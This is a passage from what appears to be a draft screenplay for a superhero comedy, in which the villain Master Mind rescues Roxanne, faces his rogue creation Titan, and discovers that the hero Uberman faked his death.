Roxanne's apartment He stares up at the building, hoping to catch a glimpse of her. Finally, she appears, primping her hair in her apartment window's reflection. MASTER MIND I should just go up there and just lay it all out to her. "Roxanne, I like you - I always have. Oh, and I'm sorry I blew up your ex. (realizing the absurdity of his words) Yeah, that would go over like a pants-less clown at a child's birthday party. What the hell am I even doing here? Who cares what she thinks? I'm a supervillain and here I am acting like a love struck schoolboy. Forget this. I control my own destiny! 66. He turns the ignition key - NOTHING HAPPENS. He repeats but gets the same results. MASTER MIND (CONT'D) (disgusted) Perfect. INT. ROXANNE'S APARTMENT - NIGHT She pulls a pack of smokes off her night stand. Empty. ROXANNE Damn. She grabs her long coat and throws it over her robe. EXT. ROXANNE'S APARTMENT BUILDING Roxanne steps outside. ROXANNE Please be open. Across the street is a liquor store. The light is still on. ROXANNE (CONT'D) Thank God. She walks across the street, passing in front of Master Mind's car. Spotting her, he sinks down in his seat. Roxanne walks by, totally unaware of his presence. Relieved, Master Mind sits back up and watches her go into the store. INT. LIQUOR STORE - NIGHT Roxanne walks up to an elderly Korean SHOPKEEPER at the counter. ROXANNE A pack of Lady Strikes, please. EXT. MASTER MIND'S CAR - NIGHT Master Mind is talking on his cell phone. MASTER MIND Hello, Triple A? 67. He suddenly spots something across the street. EXT. LIQUOR STORE - NIGHT A HOODLUM walks up to the entrance of the store and pulls out a gun from under his coat. EXT. MASTER MIND'S CAR - NIGHT Master Mind stares in shock. MASTER MIND I'll call you back. He hangs up the phone and watches the Hoodlum go inside the store. INT. LIQUOR STORE - NIGHT The Hoodlum reaches across the counter and grabs a fist full of cash from the register. SHOPKEEPER Hey! SHOTGUN HOODLUM Shut up, Gramps. He turns to Roxanne, spotting a GOLD NECKLACE around her neck. SHOTGUN HOODLUM (CONT'D) Gimme that necklace! ROXANNE I don't think so. The Hoodlum cocks his shotgun. SHOTGUN HOODLUM I said give it to me! MASTER MIND (O.S.) The lady said no. The hoodlum turns around to see Master Mind in the doorway holding a STRANGE-LOOKING HAND CANNON (GOO GUN) with knobs and blinking lights. The hoodlum starts to laugh. 68. SHOTGUN HOODLUM What the hell's that? A super soaker? MASTER MIND No, it's a goo gun. The hoodlum turns his gun to Master Mind. SHOTGUN HOODLUM Yeah, what's it do? MASTER MIND It goos. Master Mind fires the cannon. It instantly covers the store in a cloud of SMOKE. The smoke clears to reveal the hoodlum STUCK TO THE WALL, covered in a thick, GREEN GUNK. Roxanne stares at him, dumbfounded. MASTER MIND (CONT'D) It's...a prototype. Master Mind starts to walk out when he's suddenly confronted by the shopkeeper. SHOPKEEPER I know you! You Master Brain guy. You a hero. Master Mind points the goo gun at him. MASTER MIND Don't - EVER - say that again. EXT. LIQUOR STORE - NIGHT Master Mind walks out with the cannon resting on his shoulder like he's a short timer in Da Nang. Roxanne follows shortly behind him. ROXANNE Hey! Master Mind turns around. ROXANNE (CONT'D) Are you following me or something? 69. MASTER MIND Don't flatter yourself. He turns away and continues walking. Roxanne runs in front of him blocking his way. ROXANNE Don't walk away from me when I'm talking to you. Finally it occurs to her what's going on. ROXANNE (CONT'D) What a minute...all that stuff you use to say to me when Uberman was alive - about me being the loyal queen by your side as you rule over Metro City. That wasn't just super villain rhetoric, was it? You actually meant it! MASTER MIND My, someone has a rather high opinion of themselves. They stare at each other in silence, their glares locked in conflict. ROXANNE (coldly) Do you really think I would be with someone like you? This stings Master Mind to the bone. And after a brief contemplation, he reaches the only logical, painful conclusion. MASTER MIND No. With that, Master Mind exits into the night, leaving Roxanne with a baffled expression on her face. INT. ABANDONED METRO CITY LIBRARY - NIGHT Master Mind enters in a huff. Da Vinci closes the door behind him as Plato notices his master's agitated state. PLATO Everything alright, sir? Master Mind GRABS PLATO BY THE GROIN with his metal gauntlet causing Plato's eyes to bulge in pain. 70. MASTER MIND (overly calm) Fine, why do you ask? PLATO You...just...seem... Master Mind tightens his grip. MASTER MIND Go on. PLATO ...distracted. Master Mind releases him. MASTER MIND Just with business, my minion. Just with business. I've decided it is time. PLATO You mean? MASTER MIND Yes, we've created our hero, now it's time to give him a little motivation. DA VINCI How do we do that? MASTER MIND To be simply good is not enough. A hero must be driven by an almost relentless desire to right a wrong that can never be corrected. PLATO You mean? MASTER MIND Yes, he must lose someone near and dear to him - his father figure. Gentlemen, it's time for Operation Mentor Kill! EXT. SKY OVER METRO CITY - DAY Titan flies high over and through the city, under bridges, between buildings, etc. He's not really working, just enjoying himself. 71. INT. WOMAN'S APARTMENT - NIGHT A PRETTY WOMAN sits at her makeup table wearing nothing but her bra and panties. Through the reflection in her mirror we see a large window directly behind her. As she applies lipstick we see Titan fly quickly by in the background. After a moment he slowly slides back in view and begins ogling the girl. She sees him in the mirror and quickly covers herself with a robe. Titan tries to hide his face as he zooms off. MOMENTS LATER Titan looks down to see an APARTMENT BUILDING IN RUIN. Emergency lights flash around it as swarms of people run around in chaos. TITAN Man, what the hell happened down there? Wait a sec - He stops in mid-air as he comes to the striking realization. TITAN (CONT'D) THAT'S MY APARTMENT!!! EXT. HAL'S APARTMENT BUILDING - DAY Titan lands in front of the rubble that was once his home. Reporters stand just beyond the police line. TITAN Crap. From the wreckage crawls a dying Pat Morita. TITAN (CONT'D) PAT! Titan goes and kneels beside Pat, holding him in his arms. TITAN (CONT'D) You okay? "PAT MORITA" I'm dying, kid. There is just one last lesson I have for you. It is the most important of all. 72. TITAN What's that? "PAT MORITA" Master Mind did this, you must avenge me. TITAN Master Mind? Why? "PAT MORITA" Because he's evil. You must stop the evil Hal - stop the... Pat's body goes limp. The cameras begin to pop and flash around them. Titan gently lays Pat's body down and stands respectfully over him. The reporters rush over. REPORTER 1 Tighten, Is this the work of Master Mind? REPORTER 2 How will the death of your mentor affect your resolve? REPORTER 3 Was that Pat Morita? Titan walks up to one of the cameras. TITAN This injustice will not go unpunished. Master Mind, if you can hear me, Tighten is coming for you. In the background we see Plato and Da Vinci, DRESSED AS PARAMEDICS, load pat's body onto a stretcher. PLATO ACCIDENTALLY DROPS HIS SIDE. As he bends down to pick it back up, Pat quickly slaps him, then goes back to playing dead. INT. ABANDONED METRO CITY LIBRARY - NIGHT Master Mind and the boys prepare the fortress for Hal's revenge attack. Master Mind is as giddy as a schoolboy. 73. MASTER MIND Alright, people, we don't have much time. Titan should be here any minute, so let's get the lead out. There is a GIANT MOUNTED DEATH RAY in the middle of the hall being tinkered with by Da Vinci. MASTER MIND (CONT'D) How's the death ray coming? DA VINCI Nearly up to full power, sir. MASTER MIND Hum. Let's turn it down a few notches. It's his first time and we don't want to get in a lucky shot, now do we? Plato enters the room. MASTER MIND (CONT'D) Anything on the radar yet? PLATO Not yet, sir. MASTER MIND I see. Well, he must be planning something big. Are the flame androids deployed? PLATO All twelve. Master Mind rubs his hands in anticipation as he sits down on his throne. MASTER MIND Wonderful, wonderful. Plato, Da Vinci, take your places next to me. They move to either side of the chair. MASTER MIND (CONT'D) No slouching. Da Vinci straightens up and sucks in his gut. They remain this way for several long moments. Master Mind occasionally glances at a DIGITAL CLOCK on the wall. Still no Titan. 74. LATER Apparently quite some time has passed. The bold stances have degraded to fatigue. PLATO He's certainly taking his time. MASTER MIND He'll be here. That's the way it works. STILL LATER Master Mind reclines in his chair and taps his metal gauntlet impatiently on the armrest. Plato has squatted down, resting his chin on his hand. MASTER MIND (CONT'D) Unprofessional, that's what this is. No, it's disrespect for the craft. Master Mind rises and begins to pace back and forth. MASTER MIND (CONT'D) Would Uberman have kept us waiting like this? Of course not. He was a pro who knew the score. It's time we spelled out a few things for this Titan. I will not be made a fool of. He storms out of the room. INT. HAL'S NEW APARTMENT - DAY Titan's sitting on the floor in a barren apartment wearing his costume top and some tighty whities. He sips his beer as he watches a basketball game on a tiny TV. Much to his annoyance, there's a KNOCK at the door. TITAN Oh, for crying out loud. He gets up and opens the door. It's Master Mind. MASTER MIND Do you know who I am? 75. It takes a few moments to register, but Titan's suddenly excited. TITAN Yeah, you're Master Mind. Yeah! You're actually the guy I want to see! MASTER MIND Oh, so NOW you want to get down to it. Well, I want to get a few things off my chest first. Master Mind walks past Titan into the apartment. He spins around, pointing at him accusingly with one of his metal fingers. MASTER MIND (CONT'D) Of all the inconsiderate - Do you have any idea how long we waited for you? We're you even planning on coming to me and getting revenge? Titan shuts the apartment door, and turns back toward his guest. TITAN Well, at first I was going to. You know, because that's what I figured I was supposed to do. But then I got to thinking- MASTER MIND (interrupting) -You got to thinking? There's nothing to think about. I'm the villain. I do something bad, you come and get me. TITAN - I got to thinking...what's the point? Master Mind throws up his hands. MASTER MIND Maybe you're right. What's the point? He suddenly notices something in the corner of his eye. He walks over to a futon in the living room. On top of it is a LARGE SACK OVERFLOWING WITH GOLD WATCHES,RINGS AND OTHER VALUABLES. 76. MASTER MIND (CONT'D) What are these? TITAN That's what I wanted to talk to you about. MASTER MIND (baffled) Where did you get all this? TITAN (proudly) Get this: I stole them. MASTER MIND From where? TITAN From all over. You see, once you killed Pat and ruined my other apartment building I was pretty pissed off, so I figured I'd go, find you and kick some ass. Then I thought to myself: "Okay,then what?" I mean, if we were to fight, what would I get out of it? Would I get my apartment back? Would I be able to pay the bills? MASTER MIND Well, what about your mentor? TITAN Tell you the truth? He was kind of a dick. I mean, being a hero is dandy and all, but it's volunteer work. Now you've always had the right take on all this. I mean, when you rob a bank or take over the diamond exchange you get something out of it. I mean, when you don't get caught, which, no offense, isn't very often. And that brings me to what I wanted to propose to you: Who could catch you if I'm by your side? Perplexed by his proposal, Master Mind just stares at Titan awe-struck. MASTER MIND You want to team-up? 77. TITAN You got the brains, I got the brawn. We could even call ourselves that: `Brain' and `Brawn'. Look at this. Titan picks up a piece of POSTER BOARD off the floor and shows it to Master Mind. TITAN (CONT'D) I even designed us some new costumes. The picture is crudely drawn with magic markers and crayons. A big headed man (Master Mind) is standing on a plate of grass in a blue costume with a picture of a brain on his chest. Next to him, is a picture of Titan in a red costume with a black cape, but his chest is mysteriously blank. Titan proudly points to the two figures. TITAN (CONT'D) See, you'd be brain, so you got a little one on your costume, and then I'll have brawn on mine...once I figure out the best, you know, visual interpretation of it. What do you think? MASTER MIND What do I think? Master Mind shakes his head tiredly. MASTER MIND (CONT'D) I think you're probably the biggest idiot I've ever met. I mean, I can't believe you. All your gifts, all your powers, and all you want to use them for is your own financial fulfillment. You know what? Your kind of people make me sick. Titan puts down his drawing. TITAN I worked hard on this. MASTER MIND Oh - gee - I am so sorry! 78. Master Mind looks to Heaven in disgust. MASTER MIND (CONT'D) (under his breath) Of all the people to pick, it had to be this loser. This strikes a cord with Titan. TITAN Now, hold on. You're going a little too far. MASTER MIND I wish your mother said that to your father the night of your conception, they would have saved me a whole lot of heartache. TITAN Hey, I mean it. Master Mind gets right in his face. MASTER MIND Oh, yeah? What are you gonna do? EXT. HAL'S APARTMENT BUILDING - DAY We see Master Mind's body CRASH through the building and land in a DUMPSTER across the street. A car pulls up. The driver's door opens. Da Vinci gets out and runs to help his master. DA VINCI Master! MASTER MIND (O.S.) It hurts. Da Vinci peeks into the dumpster to see Master Mind's body cushioned by a stack of trash bags. DA VINCI What hurts? MASTER MIND It! The overly large henchmen starts to pull his master from the dumpster when they suddenly hear a voice from above. It's Titan peeking through the hole in his apartment wall. 79. TITAN I don't need you, I don't need anybody. I have the power to do and take anything I want. And now, I'm gonna take back everything this city owes me. Beware Metro City, it's time for Titan to collect. Titan shoots up into the air. TITAN (CONT'D) Oh, and from now on - I'M GONNA FLY THE WAY I WANT TO FLY! He takes a sitting position and flies away as if he were piloting an invisible jet. Master Mind climbs out of the dumpster and watches Titan disappear into the distance. DA VINCI How'd the plan go, boss? MASTER MIND I just made myself redundant, old friend. Da Vinci gives Master Mind a whiff. DA VINCI It's not that bad. INT. BANK - DAY Titan, with a happy bounce in his step, enters the bank. The last time he was here he thwarted a robbery. He looks nostalgic. A SECURITY GUARD shyly walks up to him like a kid meeting his TV idol. SECURITY GUARD Morning, Tighten. TITAN Morning. SECURITY GUARD Is there something we can do for you? 80. TITAN Oh, don't bother about me. I'm just here to make a withdrawal. Titan walks across the lobby, drawing stares of admiration from all. A little girl waves to him sweetly. He gives her a good- natured WINK as he heads straight for the vault. The security guard watches him enter and come out with a SACK OF CASH. Sure he must be misunderstanding what's going on, the security guard just stares at Titan as he passes by and out the door. The bank manager comes over to the guard. BANK MANAGER Say, did he just rob us? SECURITY GUARD Not sure. Sort of looks it, don't it? BANK MANAGER Yeah. SECURITY GUARD Should I, you know, stop him? BANK MANAGER Umm...Yeah. As the security guard exits the bank, the manager stares out the window. His eyes suddenly grow wide with terror. The guard's body suddenly smashes through the window, landing at the startled bank manager's feet. BANK MANAGER (CONT'D) (looking down at the guard) He did rob us, didn't he? CUT TO: TELEVISION "A Channel 7 News Special Report." Brad Helms wipes into view. 81. BRAD HELMS "Absolute power corrupts absolutely." When Lord Acton stated that, in a letter to Bishop Mandell Creighton in 1887, no one thought much about it, but today Metro City is reeling from that very prophecy. Tighten, who many thought of as our savior, has turned his back on the cause of justice. CUT TO: TITAN BEING EVIL - MONTAGE EXT. DIAMOND EXCHANGE - DAY Titan flies through the window of the building. He emerges seconds later laughing with his shirt full of booty. EXT. CITY STREET - DAY A woman screams from the window of a BURNING BUILDING. Titan flies up to her, grabs her fur coat and zooms off again, leaving the woman behind, slightly confused. EXT. OUTSIDE MARKET - DAY Titan steals a little boy's lollipop and gooses his mother. EXT. CITY STREET - DAY Dozens of people run through the streets apparently to get out of a downpour. We cut to the top of a building and see Titan ZIPPING UP HIS PANTS and laughing. INT. ABANDONED METRO CITY LIBRARY - NIGHT Master Mind paces back and forth in front of Plato and Da Vinci. PLATO I don't understand it. He seemed to have every characteristic we were looking for in a superhero. MASTER MIND Well, there's no use crying about it now, we must take action. I'm not going to play second fiddle to that crass buffoon. We must destroy Tighten. 82. PLATO It won't be easy. Uberman had a sense of decency and genuine love for the people. That was his weakness and was easily used against him. MASTER MIND Yes, but he possesses the same flaws present in Uberman's DNA - copper. It's like Benjamin Franklin always said: "If something works don't dick with it." EXT. BAR - DAY It looks like a war zone passed through here. Smashed police cars and debris lay everywhere. This seems to be the only building left untouched. INT. BAR - DAY A very tipsy Titan is sitting at the bar, looking deep into the bottom of his beer glass for answers. TITAN I can have anything I want. I'm like a god. The BARTENDER just listens as he wipes down a glass with a dirty rag. TITAN Point to any woman in this bar. I could have her in a second. He follows the bartender's gaze to THE ONLY OTHER PERSON THERE - A passed out, MIDDLE AGED HAG OF A BARFLY. TITAN (to Old Barfly) Hey, you wanna get with this? BARTENDER Buddy, what do you want? Titan carefully considers this for a moment. TITAN What do you want? That's the question, isn't it. I mean, what do you want when you can have everything? (MORE) 83. TITAN(cont'd) I suppose what I really want is to never be forgotten again. I want to do something that can never be cast aside or one-upped. I want a - what's it called? - A legacy. I want a legacy. Yeah, that's it. I like the sound that. BARTENDER I meant, what do you want to drink? TITAN Oh. EXT. BAR - LATER Titan stumbles out of the bar, carrying a large sack of money. MASTER MIND (O.S.) Your time has come to an end, Titan! He looks up to see Master Mind suddenly standing before him. TITAN What? MASTER MIND There can be only one master criminal in this city - and it's me. TITAN Really? Titan melodramatically throws up his arms. TITAN (CONT'D) I guess I should leave town then, huh? MASTER MIND I have a better idea - NOW! Two floors up Da Vinci releases a rope. A COPPER CAGE, like the one that caged Uberman, drops down on top of Titan. Titan nonchalantly surveys the cage. He walks to the bars, tries to pull them apart but can't. MASTER MIND (CONT'D) That's copper my good man. Your one weakness. (MORE) 84. MASTER MIND(cont'd) For all your amazing gifts of brawn you are no match for my intellect. Titan thinks for a moment. Suddenly, he starts to SPIN like a human top, DRILLING HIMSELF INTO THE STREET BELOW. As he disappears beneath the surface, we see a shocked look on Master Mind's face until Titan suddenly explodes out from under the street in front of him. Master Mind stares up at him, dumbfounded. Titan makes like he's going to strike him down, but stops. TITAN You know what? You're nothing but a bug. Not even worth my effort. He turns his back to Master Mind and continues down the street. Plato makes his way from the shadows to join his master. They watch Titan shrink into the distance. MASTER MIND He's not as dumb as I thought. PLATO I guess not...Funny, though. MASTER MIND What's funny? PLATO Funny Uberman didn't think of the same thing. EXT. HIGH ABOVE METRO CITY - DAY As Titan flies, he looks down at the rooftops of the city below. Suddenly, something catches his attention. HAL That's it! He stops, hovering in place as he looks down below. The buildings, which make up the heart of downtown Metro, are in a PERFECT TRIANGLE with a long strip of street leading up to it. It sorta looks like a bowling lane. 85. HAL Hello, Legacy. EXT. KINGPIN BOWLING - DAY Vinnie and his goons come running out as the hear a COMMOTION. They look up to see Titan ripping off THE GIANT BOWLING BALL from the top of the establishment. VINNIE Hey, that's my ball! INT. ROXANNE'S APARTMENT BUILDING - DAY Roxanne enters the building's elevator. Just before the door closes an ELDERLY WOMAN slides in. ELDERLY WOMAN That was a close one. Sixth floor, please. Roxanne smiles and goes to press the button. The elderly woman suddenly pulls out a SPRAY CAN, shooting a MYSTERIOUS-LOOKING MIST into Roxanne's face. She falls to the floor unconscious. INT. ROXANNE'S APARTMENT - DAY Roxanne awakens, finding herself tied to a chair in her living room. We hear NOISE from a TV in the background as she tries to adjust her vision. Slowly, the blurry figure before her becomes clear. It's Master Mind. He sits on her Lazy-Boy, reading what looks to be some kind of JOURNAL. MASTER MIND Wow, I always thought Uberman was your first superhero - but it looks like our little Roxanne dated a linebacker in college. ROXANNE That's my diary. MASTER MIND So it is. 86. ROXANNE It's personal. MASTER MIND Well, then I wouldn't leave it in your underwear drawer for just anyone to find. He throws the diary over his shoulder. ROXANNE What do you want? MASTER MIND I need your help. ROXANNE So you knock me out and tie me to a chair? MASTER MIND You're not going to like what I'm about to tell you. As she tries to shake off her headache from being knocked unconscious, Roxanne spots something on the TV. ON TELEVISION Brad Helms is huddled behind a van. BRAD HELMS It's chaos here in city square as city police - Behind him, Titan picks up a POLICE CAR and throws it at a PADDY WAGON. Both vehicles EXPLODE on impact. BACK TO SCENE ROXANNE He's really out of control. MASTER MIND Tell me about it. As if finally realizing something, Roxanne looks back at Master Mind. ROXANNE I should have known. You have something to do with this, don't you? - With Titan turning evil. 87. MASTER MIND Well, the evil thing he did by himself. My goal was to give MYSELF purpose by creating an intellectual sparring partner. ROXANNE (confused) You're talking like you made him. MASTER MIND And they call me Master Mind. ROXANNE Let me get this straight. You missed getting your ass kicked, so you made a new guy to kick your ass. That's pathetic. MASTER MIND In hindsight... Roxanne turns back to the TV to see a group of POLICE OFFICERS open fire on Titan. The bullets just deflect off his chest. ROXANNE And his powers, they're just like Uberman's. Why would he have his powers? MASTER MIND (almost ashamed) I had some left over from something. I infused him with it. ROXANNE YOU DID WHAT!? Driven by rage, she struggles to tear out of her bonds. She finally relents, giving Master Mind a look fueled by pure hatred. MASTER MIND Yeah, that's why I decided to tie you up. ROXANNE You did all this because you wanted purpose? MASTER MIND He seemed nice. 88. TELEVISION Titan is standing on top of a destroyed police car. He waves for the camera to zoom in on him. TITAN Closer. I want to show the people my real face. He pulls off his mask, revealing himself as Hal Stewart to the public for the first time. TITAN (CONT'D) Recognize me? BACK TO SCENE ROXANNE Hal Stewart. He's the guy we thought saved that woman and kid. Turned out he was just trying to save his own ass. MASTER MIND Yeah, good to know - NOW! TELEVISION Titan throws the mask over this shoulder and hops off the car. TITAN That's right, I'm really Hal Stewart. Former hero and bowling teacher at Kingpin's Bowling. BACK TO SCENE Roxanne turns to Master Mind, condescending him with her eyes. ROXANNE You picked a bowler to give super powers to? MASTER MIND It's a modest profession! TELEVISION 89. TITAN With my new found power, I've recently started to wonder what sort of legacy I should leave. Should I be a hero? I tried that once before - even saved a lady and her baby from being squashed. I was treated like a god until everyone started to shit on me - Okay, so what if I didn't "purposely" save them! He walks over and puts his hand on a large circular concrete shape just off camera. TITAN Well, I'm going to make something that can't be taken away from me. I'm going to create a permanent monument to my greatness. One that won't be so easily forgotten or erased. The camera pulls back revealing THE GIANT CONCRETE BOWLING BALL from Kingpin's. TITAN I intend to create a new category in the Guinness Book of World's Records by rolling the biggest strike in the history of bowling. He grabs the camera and points it to the DOWNTOWN BUILDINGS. We realize they are PERFECTLY ALIGNED IN BOWLING PIN FORMATION. TITAN My thanks to the city planning commission. This wouldn't have been possible without them. Titan grabs the camera so it's pointing back at him again. TITAN Tell your friends and family to tune in right here to this station at noon tomorrow. BACK TO SCENE ROXANNE My god, he's nuts. That'll destroy the whole business triangle. 90. Master Mind seems to be contemplating something - something bad. ROXANNE What? MASTER MIND My lair is in the direct path of the ball. ROXANNE Oh, real nice. Wouldn't want anything to happen to your hideout, would we? MASTER MIND You don't understand. I have certain equipment that's - that's highly unstable. ROXANNE What do you mean? MASTER MIND I sort of have a hydrogen reactor, okay? ROXANNE A HYDROGEN reactor? MASTER MIND It's experimental - only one in the world...Well, how do you think I power all my inventions? Someone like me can't pay for electricity. The bills would be outrageous. ROXANNE A REACTOR? MASTER MIND It creates 100 times the output of a nuclear one...If destroyed it could... ROXANNE - Vaporize the entire city! MASTER MIND (proudly) Pshaw...the whole eastern seaboard, actually. That little baby is amazing. I'm quite proud of it. (MORE) 91. MASTER MIND(cont'd) (off her deadpan reaction) I mean...we'd better find a way to stop him. Master Mind thinks a moment. MASTER MIND Did Uberman have a hideout? ROXANNE What? MASTER MIND A cave, a solitary fortress of some kind. C'mon, all heros have a place to hang their capes up in. Roxanne, it may be our only chance to find something, a clue, anything that could give us a fighting chance. ROXANNE It's under his house. MASTER MIND Whose house? Roxanne can hardly believe what she's telling him. ROXANNE Wayne Scott's. Master Mind shoots up out of his chair. MASTER MIND Wayne Scott? Uberman was Wayne Scott!? Wayne Scott, the wealthy philanthropist? But he disappeared - ROXANNE (interrupting) He disappeared just over two months ago when you killed him. Not only did you rid the world of a hero, you killed a kind, noble, generous man. Perhaps ashamed, the super villain hangs his head. Master Mind walks behind Roxanne and undoes her bonds. Rubbing her wrists, she watches him as he walks over to the door. 92. ROXANNE (CONT'D) Looks like you got what you always wanted. Uberman is out of the picture and Metro City is doomed. He grabs the door knob and stops, considering her words. MASTER MIND "Metro City doomed." You know, I never thought I'd say something like this, but here it goes - He slowly turns to her, CUE HEROIC MUSIC. MASTER MIND (CONT'D) Not if I have anything to say about it. EXT. WAYNE SCOTT'S MANSION - NIGHT Master Mind stands before the huge, Gothic structure in awe. MASTER MIND Such a dark place for one such as you. I wonder, underneath your noble deeds, what inner demons drove you to your endless crusade for justice? He walks to the front entrance. The double doors have been sealed shut with boards and nails. Master Mind begins to tear them off with his metal hand. INT. WAYNE SCOTT'S MANSION - NIGHT The doors opens. A beam of moonlight immediately pierces the darkness, forming an illuminated path into the heart of the manor. Master Mind enters. Covered in dust and cobwebs, the hall looks like a gigantic crypt. MASTER MIND Good lord, man. You've only been dead for two months. Master Mind walks, coming to a gigantic painted PORTRAIT OF WAYNE SCOTT. He stops to reverently admire the image of his fallen foe. 93. MASTER MIND (CONT'D) A disguise so simple, it's ingenious. No wonder I never caught on. Besides the Armani suit, there's nothing to hide the fact that this is the same person as Uberman. In the picture, he's even standing in the same cheesy, heroic pose with his fists on his hips. MASTER MIND (CONT'D) Two lives, yet in both you were an ideal. Perhaps it was you who was victorious in the end, old friend. A BONGING sound suddenly bellows through the dark halls. Master Mind comes to a grandfather clock standing next to a gigantic BOOKCASE. On the twelfth bong it falls silent. Master Mind begins to slide it across the floor until he hears a loud CLICK. The bookcase slides into the wall, REVEALING A HIDDEN PASSAGE. MASTER MIND (CONT'D) I'll miss how predictable you were. The passage way leads Master Mind to a WORKING ESCALATOR. Master Mind gets off the escalator to see a long hallway with stone walls. He begins to hear strange SOUNDS, almost like MUFFLED SCREAMS, coming from a doorway at the end of the hallway. Master Mind starts walking towards it. As he steps closer, he begins to notice a light cracking through the bottom of the door. MASTER MIND (CONT'D) Hello? Anyone here...besides..all the BIG MEN who are with me now? Nothing. MASTER MIND (CONT'D) (to himself) What's the worst you're gonna find? (MORE) 94. MASTER MIND(cont'd) The man was a boy scout, not a serial killer. He opens the door to his immediate amazement. It's some kind of screening room. A PROJECTOR shoots an image onto A DIRTY WHITE SCREEN hanging on the wall. BEER CANS litter the floor; a table in front of a ripped-up couch is covered in discarded snack goods; and a Kiss Pinball machine stands in the far corner next to a CLOSED DOOR. Master Mind turns his attention to the action on the screen. SCREEN A woman dressed in a leather DOMINATRIX OUTFIT is whipping an overweight man lying on a swing-like device with his butt sticking out. DOMINATRIX IN FILM YOU ARE A WORM! She whips him three times. The man CRIES out in pain. FAT MAN IN FILM PINEAPPLE!!! PINEAPPLE!!! Master Mind's eyes are transfixed on the disturbing imagery. The door by the pinball machine suddenly swings open. WAYNE SCOTT, dressed in raggedy sweats, steps into the room carrying a CAN OF BEER and a bowl of JIFFY-POP. Master Mind cannot believe his horrified eyes. MASTER MIND Ahhhhhh! Wayne Scott is just as startled. WAYNE SCOTT Jesus! He drop his drink and snack to the floor. The two men stare at each other as they struggle to regain their normal breathing patterns. Wayne Scott walks over to the couch, brushes off a thick layer of chip crumbs, and sits down. WAYNE SCOTT (CONT'D) What the hell are you doing here? 95. MASTER MIND I might just ask you the same question. I had thought I incinerated you. WAYNE SCOTT You scared the bejesus out of me. How'd you figure out I was still alive? Wait, how do you know my identity!? MASTER MIND Roxanne told me. As for your ruse, I forgot to line the bottom of the copper cage - Somebody pointed that out to me recently. Figured if they could do it, so could you. But one thing I couldn't figure out - WAYNE SCOTT The skeleton? Something I "borrowed" from a medical school a few months before. MASTER MIND A few months? How long had you been planning this? WAYNE SCOTT I always planned to retire - eventually. I mean, come on, you can't do this sort of thing in your fifties. You'd just look ridiculous. The pieces of the puzzle appear to be coming together in Master Mind's head. MASTER MIND I see it all so clearly now. INT. MASTER MIND'S HYDROFOIL - FLASHBACK Master Mind and his minions cover their eyes as the observatory explodes. MASTER MIND (CONT'D - V.O.) You must have done it just seconds before the observatory exploded. 96. INT. OBSERVATORY - FLASHBACK Similar to what Titan did, Uberman bores out from under the cage. MASTER MIND (CONT'D - V.O.) You bore out from under the cage. Then, using your Uber-Speed, - EXT. OBSERVATORY - FLASHBACK Running in a blur-like haze, Uberman screeches to a halt in front of some bushes. MASTER MIND (CONT'D - V.O.) - you made your way to safety, where you had the skeleton safely hidden away somewhere. EXT OBSERVATORY - SKY - DAY Uberman soars high above the clouds. He looks down at the observatory, which is a mere speck in the distance. MASTER MIND (CONT'D - V.O) (CONT'D) Then you must have flown to a safe distance and waited for the explosion, then... Just as the observatory explodes Uberman aims and throws the SKELETON like a javelin. It soars through the air like a missile, tearing through the flames of the explosion, and crashing right into the windshield of Master Mind's hydrofoil. END OF FLASHBACK Wayne stares at Master Mind, clearly impressed. WAYNE Man, you ARE smart. MASTER MIND But why fake your death? Why go through all of it? You could have just quit. WAYNE SCOTT But the responsibility would still be there. (MORE) 97. WAYNE SCOTT(cont'd) A cop can retire and stop handing out speeding tickets - but people expect more from superheroes. I tell you, a volcano couldn't erupt in Zimbabwe without everyone expecting me to do something about it. I figured, out of sight, out of mind. MASTER MIND And Wayne Scott? Why did he have to disappear? WAYNE SCOTT Both of my lives have so much baggage. It's time for new baggage, you know? Master Mind's is absolutely flabbergasted. MASTER MIND I just can't believe it. This whole time you've been in hiding while a force of great evil is tearing your city apart? Wayne rises to his feet, waving his hands for Master Mind to say no more. WAYNE SCOTT I don't want to hear about it. That's why I don't have a television in here to remind me of all the things I SHOULD be doing. Hell, I could get a wife to do that. MASTER MIND There's a demented supervillain out there about to destroy our - I mean, your city. Wayne shrugs indifferently. MASTER MIND You're really going to do nothing? WAYNE SCOTT Good and evil have a way of balancing themselves out. If this guy is as bad as you say, somebody will rise up to fight him. It's just the order of things. You found me, didn't you? 98. Wayne puts a condescending hand on Master Mind's shoulder. WAYNE SCOTT (CONT'D) I know it's hard, but you'll find someone else someday. He then starts walking to the door. MASTER MIND You're the only one who can stop him. Wayne turns around. WAYNE SCOTT Couldn't if I wanted to. Gotta a plane to catch. MASTER MIND A plane? WAYNE SCOTT Going to Barbados for a little change in climate. Now, if you'll excuse me, I got to go pack. He reads the still defeated look on Master Mind's face. WAYNE SCOTT (CONT'D) You were a good foe. I'm sorry if I've let you down. If it makes a difference, you were the best foe a hero could ask for. MASTER MIND Not smart enough to come up with a full-proof trap. WAYNE SCOTT Well, you did almost have me when you figured out my weakness was copper. Now that made me sweat a little. Took me way too long to drill out from under that cage. MASTER MIND I got lucky. WAYNE SCOTT Anyway, it's a good thing for my sake that I could always count on you for an out. 99. MASTER MIND (suddenly confused) What do you mean? WAYNE SCOTT C'mon, we always threw each other a couple of bones. You would always leave me an out in one of your `full-proof' traps, and I'd never had you incarcerated at a penitentiary that you couldn't eventually escape from. It kept our little game going. Master Mind seems deflated. MASTER MIND Game? - Was that all this ever was to you? You know, I was trying my best every time I fought you. Those `outs' as you call them were unintentional. WAYNE SCOTT Oh. MASTER MIND I guess I was never really a match for you, was I? Wayne shrugs. MASTER MIND (CONT'D) (thoughtfully) Then how can I expect to be one for Titan? A beaten man, Master Mind heads for the door, but stops and turns around. MASTER MIND (CONT'D) What about Roxanne? Wayne unleashes an exhausted sigh. WAYNE SCOTT I think we both got what we wanted out of our relationship. She got a career out of me, and I got plenty of other things out of her. But I'm ready to move on to greener pastures. 100. Master Mind's steel hand clinches into a fist at his side. Wayne's oblivious to this. MASTER MIND I guess I wasn't the villain I thought I was, and you...you weren't the hero I thought you were. He turns to make his exit when he suddenly sees ROXANNE STANDING IN THE DOOR FRAME. Wayne is almost at a loss for words. WAYNE SCOTT Roxanne! How long have you been... ROXANNE Long enough. Roxanne looks at Master Mind. ROXANNE (CONT'D) Don't you have something else you can go do? Master Mind leaves Roxanne and Wayne facing each other in silence. EXT. ANOTHER BAR - DAY Titan emerges with Brad and Frank. He's holding a BEER CAN and a bag of PORK RINDS. TITAN Alright, I want this whole thing to look ESPN professional, understand? A distant MECHANIZED RUMBLE can be heard. The noise rises, signaling the approach of something powerful. Titan and his crew 